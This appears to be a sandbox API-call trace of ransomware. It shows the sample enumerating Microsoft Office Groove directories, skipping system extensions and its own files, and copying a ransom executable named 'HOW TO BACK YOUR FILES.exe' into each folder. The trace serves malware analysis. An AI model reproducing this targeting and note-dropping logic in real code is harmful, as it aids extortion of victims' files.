	[0070.687] lstrcmpiW (lpString1="TOOLICON.ICO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.687] lstrcmpiW (lpString1="TOOLICON.ICO", lpString2="Apollon865.txt.exe") returned 1
	[0070.687] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="TOOLICON.ICO" | out: lpString1="TOOLICON.ICO") returned="TOOLICON.ICO"
	[0070.687] lstrlenW (lpString="TOOLICON.ICO") returned 12
	[0070.687] lstrlenW (lpString="Apollon865") returned 10
	[0070.687] lstrcmpiW (lpString1="OLICON.ICO", lpString2="Apollon865") returned 1
	[0070.687] lstrlenW (lpString=".dll") returned 4
	[0070.687] lstrcmpiW (lpString1="TOOLICON.ICO", lpString2=".dll") returned 1
	[0070.687] lstrlenW (lpString=".lnk") returned 4
	[0070.687] lstrcmpiW (lpString1="TOOLICON.ICO", lpString2=".lnk") returned 1
	[0070.688] lstrlenW (lpString=".ini") returned 4
	[0070.688] lstrcmpiW (lpString1="TOOLICON.ICO", lpString2=".ini") returned 1
	[0070.688] lstrlenW (lpString=".sys") returned 4
	[0070.688] lstrcmpiW (lpString1="TOOLICON.ICO", lpString2=".sys") returned 1
	[0070.688] lstrlenW (lpString="TOOLICON.ICO") returned 12
	[0070.688] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d4e500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e633690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc2d4e500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2366, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WSS.ICO", cAlternateFileName="")) returned 1
	[0070.688] lstrcmpiW (lpString1="WSS.ICO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.688] lstrcmpiW (lpString1="WSS.ICO", lpString2="Apollon865.txt.exe") returned 1
	[0070.688] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="WSS.ICO" | out: lpString1="WSS.ICO") returned="WSS.ICO"
	[0070.688] lstrlenW (lpString="WSS.ICO") returned 7
	[0070.688] lstrlenW (lpString="Apollon865") returned 10
	[0070.688] lstrlenW (lpString=".dll") returned 4
	[0070.688] lstrcmpiW (lpString1="WSS.ICO", lpString2=".dll") returned 1
	[0070.688] lstrlenW (lpString=".lnk") returned 4
	[0070.688] lstrcmpiW (lpString1="WSS.ICO", lpString2=".lnk") returned 1
	[0070.688] lstrlenW (lpString=".ini") returned 4
	[0070.688] lstrcmpiW (lpString1="WSS.ICO", lpString2=".ini") returned 1
	[0070.688] lstrlenW (lpString=".sys") returned 4
	[0070.688] lstrcmpiW (lpString1="WSS.ICO", lpString2=".sys") returned 1
	[0070.688] lstrlenW (lpString="WSS.ICO") returned 7
	[0070.688] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x430b200, ftCreationTime.dwHighDateTime=0x1c9d442, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x430b200, ftLastWriteTime.dwHighDateTime=0x1c9d442, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WSS_DocLib.ico", cAlternateFileName="WSS_DO~1.ICO")) returned 1
	[0070.688] lstrcmpiW (lpString1="WSS_DocLib.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.688] lstrcmpiW (lpString1="WSS_DocLib.ico", lpString2="Apollon865.txt.exe") returned 1
	[0070.688] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="WSS_DocLib.ico" | out: lpString1="WSS_DocLib.ico") returned="WSS_DocLib.ico"
	[0070.689] lstrlenW (lpString="WSS_DocLib.ico") returned 14
	[0070.689] lstrlenW (lpString="Apollon865") returned 10
	[0070.689] lstrcmpiW (lpString1="DocLib.ico", lpString2="Apollon865") returned 1
	[0070.689] lstrlenW (lpString=".dll") returned 4
	[0070.689] lstrcmpiW (lpString1="WSS_DocLib.ico", lpString2=".dll") returned 1
	[0070.689] lstrlenW (lpString=".lnk") returned 4
	[0070.689] lstrcmpiW (lpString1="WSS_DocLib.ico", lpString2=".lnk") returned 1
	[0070.689] lstrlenW (lpString=".ini") returned 4
	[0070.689] lstrcmpiW (lpString1="WSS_DocLib.ico", lpString2=".ini") returned 1
	[0070.689] lstrlenW (lpString=".sys") returned 4
	[0070.689] lstrcmpiW (lpString1="WSS_DocLib.ico", lpString2=".sys") returned 1
	[0070.689] lstrlenW (lpString="WSS_DocLib.ico") returned 14
	[0070.689] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x430b200, ftCreationTime.dwHighDateTime=0x1c9d442, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x430b200, ftLastWriteTime.dwHighDateTime=0x1c9d442, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WSS_DocLib.ico", cAlternateFileName="WSS_DO~1.ICO")) returned 0
	[0070.689] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0070.689] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd10
	[0070.689] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData"
	[0070.689] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591740 | out: hHeap=0x580000) returned 1
	[0070.689] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0070.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData") returned 58
	[0070.689] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData"
	[0070.689] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.689] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.736] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.736] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x423c8e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x423c8e30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0070.736] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.736] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.736] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x423c8e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x423c8e30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.736] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.737] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0070.737] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="groove.net" | out: lpString1="groove.net") returned="groove.net"
	[0070.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0070.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8c) returned 0x5a3168
	[0070.737] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0070.737] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x423c8e30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x423c8e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0070.737] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0070.737] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x423c8e30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x423c8e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0070.737] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0070.737] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd10
	[0070.737] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net"
	[0070.737] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3168 | out: hHeap=0x580000) returned 1
	[0070.737] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0070.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net") returned 69
	[0070.737] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net"
	[0070.737] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.737] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.761] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.761] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x423eef90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x423eef90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0070.761] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.761] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.761] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="Calendar" | out: lpString1="Calendar") returned="Calendar"
	[0070.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0070.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9e) returned 0x5cafd0
	[0070.761] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0070.761] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CommonData", cAlternateFileName="COMMON~1")) returned 1
	[0070.761] lstrcmpiW (lpString1="CommonData", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.761] lstrcmpiW (lpString1="CommonData", lpString2="Apollon865.txt.exe") returned 1
	[0070.761] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="CommonData" | out: lpString1="CommonData") returned="CommonData"
	[0070.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0070.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa2) returned 0x5a3168
	[0070.762] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fd10
	[0070.762] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 1
	[0070.762] lstrcmpiW (lpString1="Computers", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.762] lstrcmpiW (lpString1="Computers", lpString2="Apollon865.txt.exe") returned 1
	[0070.762] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="Computers" | out: lpString1="Computers") returned="Computers"
	[0070.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fde8
	[0070.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5cb078
	[0070.762] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdf0 | out: ListHead=0x5b76b0, ListEntry=0x59fdf0) returned 0x59fdd0
	[0070.762] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Discussion", cAlternateFileName="DISCUS~1")) returned 1
	[0070.762] lstrcmpiW (lpString1="Discussion", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.762] lstrcmpiW (lpString1="Discussion", lpString2="Apollon865.txt.exe") returned 1
	[0070.762] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="Discussion" | out: lpString1="Discussion") returned="Discussion"
	[0070.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe08
	[0070.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa2) returned 0x5a3338
	[0070.762] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe10 | out: ListHead=0x5b76b0, ListEntry=0x59fe10) returned 0x59fdf0
	[0070.762] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DocumentShare", cAlternateFileName="DOCUME~1")) returned 1
	[0070.762] lstrcmpiW (lpString1="DocumentShare", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.762] lstrcmpiW (lpString1="DocumentShare", lpString2="Apollon865.txt.exe") returned 1
	[0070.762] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="DocumentShare" | out: lpString1="DocumentShare") returned="DocumentShare"
	[0070.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe28
	[0070.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa8) returned 0x5a33e8
	[0070.762] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe30 | out: ListHead=0x5b76b0, ListEntry=0x59fe30) returned 0x59fe10
	[0070.762] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GrooveDocumentReview", cAlternateFileName="GROOVE~1")) returned 1
	[0070.762] lstrcmpiW (lpString1="GrooveDocumentReview", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.762] lstrcmpiW (lpString1="GrooveDocumentReview", lpString2="Apollon865.txt.exe") returned 1
	[0070.763] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="GrooveDocumentReview" | out: lpString1="GrooveDocumentReview") returned="GrooveDocumentReview"
	[0070.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbc8
	[0070.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb6) returned 0x5c1458
	[0070.763] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbd0 | out: ListHead=0x5b76b0, ListEntry=0x59fbd0) returned 0x59fe30
	[0070.763] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GrooveForms", cAlternateFileName="GROOVE~3")) returned 1
	[0070.763] lstrcmpiW (lpString1="GrooveForms", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.763] lstrcmpiW (lpString1="GrooveForms", lpString2="Apollon865.txt.exe") returned 1
	[0070.763] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="GrooveForms" | out: lpString1="GrooveForms") returned="GrooveForms"
	[0070.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe48
	[0070.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa4) returned 0x5a0f28
	[0070.763] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe50 | out: ListHead=0x5b76b0, ListEntry=0x59fe50) returned 0x59fbd0
	[0070.763] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GrooveForms3", cAlternateFileName="GR96F1~1")) returned 1
	[0070.763] lstrcmpiW (lpString1="GrooveForms3", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.763] lstrcmpiW (lpString1="GrooveForms3", lpString2="Apollon865.txt.exe") returned 1
	[0070.763] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="GrooveForms3" | out: lpString1="GrooveForms3") returned="GrooveForms3"
	[0070.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe68
	[0070.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x5a0fd8
	[0070.763] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe70 | out: ListHead=0x5b76b0, ListEntry=0x59fe70) returned 0x59fe50
	[0070.763] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GrooveForms4", cAlternateFileName="GROOVE~4")) returned 1
	[0070.763] lstrcmpiW (lpString1="GrooveForms4", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.763] lstrcmpiW (lpString1="GrooveForms4", lpString2="Apollon865.txt.exe") returned 1
	[0070.763] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="GrooveForms4" | out: lpString1="GrooveForms4") returned="GrooveForms4"
	[0070.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe88
	[0070.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x5a3720
	[0070.763] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe90 | out: ListHead=0x5b76b0, ListEntry=0x59fe90) returned 0x59fe70
	[0070.763] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70685f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GrooveForms5", cAlternateFileName="GROOVE~2")) returned 1
	[0070.763] lstrcmpiW (lpString1="GrooveForms5", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.763] lstrcmpiW (lpString1="GrooveForms5", lpString2="Apollon865.txt.exe") returned 1
	[0070.763] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="GrooveForms5" | out: lpString1="GrooveForms5") returned="GrooveForms5"
	[0070.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fea8
	[0070.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x5a37d0
	[0070.764] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59feb0 | out: ListHead=0x5b76b0, ListEntry=0x59feb0) returned 0x59fe90
	[0070.764] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GrooveProjectToolset", cAlternateFileName="GRA998~1")) returned 1
	[0070.764] lstrcmpiW (lpString1="GrooveProjectToolset", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.764] lstrcmpiW (lpString1="GrooveProjectToolset", lpString2="Apollon865.txt.exe") returned 1
	[0070.764] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="GrooveProjectToolset" | out: lpString1="GrooveProjectToolset") returned="GrooveProjectToolset"
	[0070.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fec8
	[0070.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb6) returned 0x5c1518
	[0070.764] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fed0 | out: ListHead=0x5b76b0, ListEntry=0x59fed0) returned 0x59feb0
	[0070.764] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x423eef90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x423eef90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0070.764] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
